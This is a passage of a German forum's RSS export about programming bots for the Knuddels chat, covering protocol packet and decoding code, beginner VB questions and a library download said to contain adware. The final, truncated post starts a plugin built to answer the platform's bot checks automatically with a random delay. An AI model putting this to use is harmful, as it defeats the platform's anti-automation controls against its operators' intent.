&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v.length());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.append(v);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public String toString() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return buffer.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div>Die Klasse PacketWriter dient zum Darstellen von Paketen, sowohl für das alte Protokoll mit Tokens und Delimiter als auch für das Neue. Vor allem beim neuen Protokoll kann man auf eine solche Klasse kaum verzichten.<br />
<br />
<font size="5">Beispiel</font><br />
<br />
<b>e\0Cool\0Flav\0Hallo.</b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">PacketWriter packet = new PacketWriter();<br />
packet.writeString(&quot;e&quot;);<br />
packet.write(0x00);<br />
packet.writeString(&quot;Cool&quot;);<br />
packet.write(0x00);<br />
packet.writeString(&quot;Flav&quot;);<br />
packet.write(0x00);<br />
packet.writeString(&quot;Hallo.&quot;);<br />
groupChat.receive(packet.toString());</code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-packetwriter-6248</guid>
		</item>
		<item>
			<title>.txt random schreiben</title>
			<link>sourcecode-91/txt-random-schreiben-31979?goto=newpost</link>
			<pubDate>Mon, 30 Jan 2012 13:29:22 GMT</pubDate>
			<description>Liebe user, 
ich sitze gerade vor folgenden Problem: 
Ich möchte aus einer .txt um die 50 Wört Random rausnehmen und in den Chat schreiben. 
 
Ich...</description>
			<content:encoded><![CDATA[<div>Liebe user,<br />
ich sitze gerade vor folgenden Problem:<br />
Ich möchte aus einer .txt um die 50 Wört Random rausnehmen und in den Chat schreiben.<br />
<br />
Ich hab langsam echt keine ahnung mehr:<br />
	<br />
Visual Basic Quellcode<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">Timer11</span><span style="color: #007700">.</span><span style="color: #0000BB">Interval&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">123459<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">CheckBox4</span><span style="color: #007700">.</span><span style="color: #0000BB">Checked&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Timer11</span><span style="color: #007700">.</span><span style="color: #0000BB">Start</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;textFileLines</span><span style="color: #007700">()&nbsp;As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadAllLines</span><span style="color: #007700">(</span><span style="color: #DD0000">"abc.txt"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;rnd&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">Random<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;client</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">textFileLines</span><span style="color: #007700">(</span><span style="color: #0000BB">rnd</span><span style="color: #007700">.</span><span style="color: #0000BB">Next</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">textFileLines</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)))&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Es wird kein text geschrieben <br />
Weiß jemand warum?<br />
Kann mir jemand helfen?</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Escobar</dc:creator>
			<guid isPermaLink="true">sourcecode-91/txt-random-schreiben-31979</guid>
		</item>
		<item>
			<title>.txt random schreiben</title>
			<link>sourcecode-91/txt-random-schreiben-6003?goto=newpost</link>
			<pubDate>Mon, 30 Jan 2012 13:19:56 GMT</pubDate>
			<description>Liebe user, 
ich sitze gerade vor folgenden Problem: 
Ich möchte aus einer .txt um die 50 Wört Random rausnehmen und in den Chat schreiben. 
 
Ich...</description>
			<content:encoded><![CDATA[<div>Liebe user,<br />
ich sitze gerade vor folgenden Problem:<br />
Ich möchte aus einer .txt um die 50 Wört Random rausnehmen und in den Chat schreiben.<br />
<br />
Ich hab langsam echt keine ahnung mehr:<br />
	<br />
Visual Basic Quellcode<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">Timer11</span><span style="color: #007700">.</span><span style="color: #0000BB">Interval&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">123459<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">CheckBox4</span><span style="color: #007700">.</span><span style="color: #0000BB">Checked&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Timer11</span><span style="color: #007700">.</span><span style="color: #0000BB">Start</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;textFileLines</span><span style="color: #007700">()&nbsp;As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadAllLines</span><span style="color: #007700">(</span><span style="color: #DD0000">"abc.txt"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;rnd&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">Random<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;client</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">textFileLines</span><span style="color: #007700">(</span><span style="color: #0000BB">rnd</span><span style="color: #007700">.</span><span style="color: #0000BB">Next</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">textFileLines</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)))&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Es wird kein text geschrieben <br />
Weiß jemand warum?<br />
Kann mir jemand helfen?</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Escobar</dc:creator>
			<guid isPermaLink="true">sourcecode-91/txt-random-schreiben-6003</guid>
		</item>
		<item>
			<title>Einloggen/Ausloggen</title>
			<link>sourcecode-91/einloggen-ausloggen-32208?goto=newpost</link>
			<pubDate>Sun, 29 Jan 2012 22:38:57 GMT</pubDate>
			<description>Liebe user, 
ich habe eine Frage: 
Wie bekomme ich es hin, einen Nick per HH:MM:SS ein/auszuloggen? 
 
Mein Code bisher: 
 
Code: 
---------...</description>
			<content:encoded><![CDATA[<div>Liebe user,<br />
ich habe eine Frage:<br />
Wie bekomme ich es hin, einen Nick per HH:MM:SS ein/auszuloggen?<br />
<br />
Mein Code bisher:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">label6.text = timeofday<br />
&nbsp; If CheckBox3.Checked Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If Label6.Text = TextBox7.Text Then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timer8.Stop()<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client.Login(TextBox2.Text, TextBox3.Text, TextBox4.Text)</code><hr />
</div>Kein ausloggen, bzw einloggen.<br />
Der Auslog source ist ähnlich, nur das client.login in client.disconnect gewandelt wird.<br />
<br />
Kann mir jemand helfen?</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Escobar</dc:creator>
			<guid isPermaLink="true">sourcecode-91/einloggen-ausloggen-32208</guid>
		</item>
		<item>
			<title>Suche Attribute</title>
			<link>sourcecode-91/suche-attribute-32292?goto=newpost</link>
			<pubDate>Fri, 20 Jan 2012 12:04:23 GMT</pubDate>
			<description>Hi liebe Gemeinde, 
 
momentan bin ich der suche nach den Attributen die Sysadmins nutzen um etwas zu setzen. 
 
Beispiel: um CM-Monate zu setzen...</description>
			<content:encoded><![CDATA[<div>Hi liebe Gemeinde,<br />
<br />
momentan bin ich der suche nach den Attributen die Sysadmins nutzen um etwas zu setzen.<br />
<br />
Beispiel: um CM-Monate zu setzen wird &quot;cmmonth=xx/xx&quot; genutzt, bei Quiz &quot;quizpoints=ZAHL&quot;<br />
<br />
Nun bin ich auf der Suche nach dem Attribut für Stammi, da dies auch gesetzt werden kann nur bin ich leider nicht fündig geworden... es ist weder &quot;regulars&quot; noch &quot;vip&quot;. <br />
<br />
<br />
Wenn mir da jmd helfen könnte bzw. mehr weiß wie ich wäre ich sehr dankbar! :)<br />
<br />
Lg<br />
mietze</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>mietze</dc:creator>
			<guid isPermaLink="true">sourcecode-91/suche-attribute-32292</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Knuddels Decoding]]></title>
			<link>sourcecode-91/c-knuddels-decoding-4425?goto=newpost</link>
			<pubDate>Sat, 07 Jan 2012 23:52:25 GMT</pubDate>
			<description><![CDATA[Grade gefunden, die Klasse ist aus einer sogenannten "MKLib", weiß aber nicht mehr von wem die war :x 
 
 
PHP: 
--------- 
&#65279;using System; 
using...]]></description>
			<content:encoded><![CDATA[<div>Grade gefunden, die Klasse ist aus einer sogenannten &quot;MKLib&quot;, weiß aber nicht mehr von wem die war :x<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">&amp;</span><span style="color: #FF8000">#65279;using&nbsp;System;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Net</span><span style="color: #007700">.</span><span style="color: #0000BB">Sockets</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">MKLib&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Decoding&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">decodeHelper&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">Decode</span><span style="color: #007700">(</span><span style="color: #0000BB">NetworkStream&nbsp;inputStream</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">sbyte&nbsp;firstByte&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">sbyte</span><span style="color: #007700">)</span><span style="color: #0000BB">inputStream</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadByte</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">firstByte&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">firstByte&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">firstByte&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x1F</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;k&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">firstByte&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x60</span><span style="color: #007700">)&nbsp;&gt;&gt;&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;m&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">k</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">m</span><span style="color: #007700">++)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;(</span><span style="color: #0000BB">inputStream</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadByte</span><span style="color: #007700">()&nbsp;&lt;&lt;&nbsp;(</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;*&nbsp;</span><span style="color: #0000BB">8&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">arrayOfByte&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;m&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">m</span><span style="color: #007700">++)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">arrayOfByte</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">m</span><span style="color: #007700">&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)</span><span style="color: #0000BB">inputStream</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadByte</span><span style="color: #007700">()&nbsp;^&nbsp;(</span><span style="color: #0000BB">decodeHelper&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">decodeHelper</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">decodeHelper</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">m</span><span style="color: #007700">&#93;&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">arrayOfByte</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch&nbsp;(</span><span style="color: #0000BB">IOException</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Festplatte</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-knuddels-decoding-4425</guid>
		</item>
		<item>
			<title><![CDATA[[OS] gidf v2.0.1.8]]></title>
			<link>sourcecode-91/os-gidf-v2-0-1-8-4424?goto=newpost</link>
			<pubDate>Sat, 07 Jan 2012 23:41:00 GMT</pubDate>
			<description>Heyho, 
 
diese Library wurde damals auf Knuddels.me von Imports veröffentlicht, welcher meines Erachtens nichtmehr in der Szene aktiv ist und da ich...</description>
			<content:encoded><![CDATA[<div>Heyho,<br />
<br />
diese Library wurde damals auf Knuddels.me von Imports veröffentlicht, welcher meines Erachtens nichtmehr in der Szene aktiv ist und da ich ihn damals drauf angesprochen hatte ob ich diese denn releasen/vorstellen könnte tu ich dies eben. Da die Library für C# und VB.Net Open Source (OS) gestellt ist bitte ich die dabei gefügte Lizenz sowie Readmedatei nicht zu entfernen. Denke einer Weiterentwicklung spricht nichts gegen sofern man den eigentlichen Coder erwähnt.<br />
<br />
Naja genug gelabert, die Library kann Suchanfragen an Google und Cuil schicken und verarbeiten. Außerdem beinhaltet sie einen SearchAlgorithmus und ist sicher für Entwickler die sich mit WordMix und Quiz Bots auseinander setzen sehr interessant.<br />
<br />
<b><font color="DarkOrange">Achtung:</font></b> In der Library selber ist noch ein bisschen Werbung implentiert (von MiBot und A-Scripting).<br />
<br />
<b>Wie gesagt:</b> Achtet bei der Verwendung dieser auf die Lizenz und Readme.<br />
<br />
<b><span style="text-shadow: 0px 0px 10px #8d8d8d">Download:</span></b> [HIDE=15]<br />
<a href="http://www.multiupload.nl/CVQ3NTKG00" target="_blank" rel="nofollow">Multiupload.com - upload your files to multiple file hosting sites!</a><br />
<br />
<a href="http://www.share-online.biz/dl/187K8A5MFZW" target="_blank" rel="nofollow">http://www.share-online.biz/dl/187K8A5MFZW</a>[/HIDE]<br />
<br />
Grüße</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Devon</dc:creator>
			<guid isPermaLink="true">sourcecode-91/os-gidf-v2-0-1-8-4424</guid>
		</item>
		<item>
			<title><![CDATA[[C#] DeKaDeNz.Client BotControll plugin]]></title>
			<link>sourcecode-91/c-dekadenz-client-botcontroll-plugin-4242?goto=newpost</link>
			<pubDate>Thu, 05 Jan 2012 13:19:09 GMT</pubDate>
			<description>PHP: 
--------- 
using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Text; 
using System.Net; 
using KNDeKaDeNz.Net;...</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Net</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;KNDeKaDeNz</span><span style="color: #007700">.</span><span style="color: #0000BB">Net</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">.</span><span style="color: #0000BB">RegularExpressions</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Threading</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">DeKaDeNz<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;class&nbsp;</span><span style="color: #0000BB">BotControll&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">KNDeKaDeNz</span><span style="color: #007700">.</span><span style="color: #0000BB">Plugin<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">BotControll</span><span style="color: #007700">(</span><span style="color: #0000BB">KNDeKaDeNz</span><span style="color: #007700">.</span><span style="color: #0000BB">Client</span><span style="color: #007700">.</span><span style="color: #0000BB">BotClient&nbsp;parent</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">(</span><span style="color: #0000BB">parent</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Priority&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">.</span><span style="color: #0000BB">MaxValue</span><span style="color: #007700">-</span><span style="color: #0000BB">100</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">override&nbsp;string&nbsp;GetInfo</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #DD0000">"Dieses&nbsp;Plugin&nbsp;beantwortet&nbsp;automatisch&nbsp;Botkontrollen&nbsp;nach&nbsp;zwischen&nbsp;3&nbsp;und&nbsp;10&nbsp;Sekunden"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;delayedSend</span><span style="color: #007700">(</span><span style="color: #0000BB">Packet&nbsp;p</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;delay</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br 